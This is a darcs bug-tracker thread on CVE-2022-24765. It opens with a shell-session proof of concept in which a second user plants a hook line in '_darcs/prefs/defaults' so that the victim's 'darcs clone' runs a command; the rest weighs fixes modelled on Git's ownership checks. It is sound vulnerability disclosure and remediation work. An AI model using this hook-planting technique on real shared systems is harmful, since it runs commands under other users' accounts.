darcs

Issue 2690 CVE-2022-24765

Title CVE-2022-24765
Priority Status unknown
Milestone Resolved in
Superseder Nosy List gpiero
Assigned To
Topics

Created on 2022-04-13.07:14:10 by gpiero, last changed 2023-07-08.11:35:09 by ganesh.

Messages
msg22979 (view) Author: gpiero Date: 2022-04-13.07:14:09
darcs is (at least partially) vulnerable to this.

$ darcs --version
2.17.1 (+ 148 patches)
$ sudo useradd h4ck3r
$ whoami
gpiero
$ mkdir -m 777 shared
$ darcs ini shared/R
WARNING: creating a nested repository.
Finished initializing repository.
$ sudo -u h4ck3r mkdir -p shared/_darcs/prefs
$ echo 'clone prehook touch /tmp/p4wn3d' | sudo -u h4ck3r tee shared/_darcs/prefs/defaults
clone prehook touch /tmp/p4wn3d
$ cd shared
shared $ ls /tmp/p4wn3d
ls: cannot access '/tmp/p4wn3d': No such file or directory
shared $ darcs clone R S
Prehook ran successfully.
WARNING: creating a nested repository.
Copying patches, to get lazy repository hit ctrl-C...
Finished cloning.
shared $ ls /tmp/p4wn3d
/tmp/p4wn3d

The prehook is (rightly) executed even if the command doesn't succeed.

shared $ darcs clone R not-existent/S
Prehook ran successfully.  <---
darcs: not-existent/S: createDirectory: does not exist (No such file or directory)

Anyway, at least in the case of `clone`, the attack only succeeds if the 
_darcs directory resides in the cwd.

shared $ cd ..
$ darcs clone shared/R shared/S
Directory or file named 'shared/S' already exists.

(no prehook run now).

Haven't investigated further combinations or commands (e.g. does `show 
repo` read the defaults file?)
msg22980 (view) Author: gpiero Date: 2022-04-13.07:26:15
* [Wed, Apr 13, 2022 at 07:14:10AM +0000] Gian Piero Carrubba:
>(e.g. does `show repo` read the defaults file?)

Guess so:

$ darcs help show repo | grep -c hook
8
msg22988 (view) Author: bfrk Date: 2022-04-13.22:20:50
Yes, every command reads the defaults file and can have hooks 
attached. How to fix this?

From https://github.blog/2022-04-12-git-security-vulnerability-
announced/ :

"Git v2.35.2 [...] changes Git’s behavior when looking for a top-
level .git directory to stop when its directory traversal changes 
ownership from the current user."

I guess we could do the same in darcs. Volunteers?
msg23496 (view) Author: j14i Date: 2023-07-08.09:22:00
I agree, we can simplify this behavior to not recognize repositories owned by other users. As it is done I Git "v2.36.0".

src: https://github.com/git/git/blob/master/Documentation/RelNotes/2.36.0.txt
"
With the fixes for CVE-2022-24765 that are common with versions of
   Git 2.30.4, 2.31.3, 2.32.2, 2.33.3, 2.34.3, and 2.35.3, Git has
   been taught not to recognise repositories owned by other users, in
   order to avoid getting affected by their config files and hooks.
   ...
"

But I am not a Windows user and I can overlook some important scenario. 
If this kind of solution looks okay to you, I can implement it as well.
msg23497 (view) Author: gpiero Date: 2023-07-08.10:14:37
* [Sat, Jul 08, 2023 at 09:22:00AM +0000] Jonatan Borkowski:
>I agree, we can simplify this behavior to not recognize repositories 
>owned by other users. As it is done I Git "v2.36.0".

Problem is that this would break common scenarios where a repository is 
shared between developers. I think this is also how the repository of 
darcs itself is (or, at least, was) managed.

Git introduced a configuration option (safe.directories, or something 
similar) for listing repositories that are not subject to that 
limitation. That would solve the problem with shared repositories, but 
obviously would also add complexity to the solution.

I for myself am a bit inclined towards thinking that operations like 
clone (in general, operations that create a new repo) should not read 
the defaults file and marking the remaining cases as "work as intended".

Best,
Gian Piero.
msg23498 (view) Author: gpiero Date: 2023-07-08.10:30:32
* [Sat, Jul 08, 2023 at 12:14:28PM +0200] Gian Piero Carrubba:
> should not read the defaults file

More appropriately: should not execute hooks. As for reading the 
defaults file itself (w/o hooks), maybe there are legitimate cases that 
require it.

Moreover, when mentioning the defaults file, I'm referring to 
"_darcs/prefs/defaults". "$HOME/.darcs/defaults" should always be read 
and its hooks executed (for increased security, it should be checked 
that it's owned and only writeable by the user).
msg23499 (view) Author: ganesh Date: 2023-07-08.11:35:09
> Problem is that this would break common scenarios where a repository is 
> shared between developers. I think this is also how the repository of
> darcs itself is (or, at least, was) managed.

I think we switched back to a single shared user because there were too many
cases where the permissions got messed up.

> should not read the defaults file

> More appropriately: should not execute hooks. As for reading the 
> defaults file itself (w/o hooks), maybe there are legitimate cases that 
> require it.

I've seen three options so far for when an _darcs has the wrong ownership
(assuming the user doesn't explicitly override somehow):

 - Ignore the _darcs directory completely
 - Ignore _darcs/prefs/defaults
 - Restrict certain actions

Restricting actions would require passing around adding some property to
the runtime representation of repositories, and then figuring out all
the right places to respect it. So I'd be more inclined towards one of the 
first two.
History
Date User Action Args
2022-04-13 07:14:10gpierocreate
2022-04-13 07:26:15gpierosetmessages: + msg22980
2022-04-13 22:20:50bfrksetmessages: + msg22988
2023-07-08 09:22:00j14isetmessages: + msg23496
2023-07-08 10:14:37gpierosetmessages: + msg23497
2023-07-08 10:30:32gpierosetmessages: + msg23498
2023-07-08 11:35:09ganeshsetmessages: + msg23499